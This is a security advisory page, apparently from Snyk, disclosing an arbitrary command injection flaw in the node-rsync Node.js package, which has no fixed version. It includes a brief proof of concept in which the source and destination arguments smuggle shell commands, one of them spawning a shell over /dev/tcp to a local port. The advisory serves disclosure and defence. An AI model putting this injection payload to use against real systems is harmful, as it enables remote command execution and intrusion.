Arbitrary Command Injection Affecting node-rsync package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

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  • Snyk IDSNYK-JS-NODERSYNC-568773
  • published21 Jun 2020
  • disclosed7 May 2020
  • creditMik317

Introduced: 7 May 2020

CVE NOT AVAILABLE CWE-78  (opens in a new tab)

How to fix?

There is no fixed version for node-rsync.

Overview

node-rsync is a Rsync wrapper for Node.js

Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command that will be executed without any checks.

PoC By Snyk Security Team

// Build the command
var rsync = new Rsync()
    .shell('ssh')
    .flags('az')
    .source(';/path/to/source')
    .destination('&sh</dev/tcp/127.0.0.1/4444');

// Execute the command rsync.execute(function (error, code, cmd) { console.log(cmd) });

References

CVSS Scores

version 3.1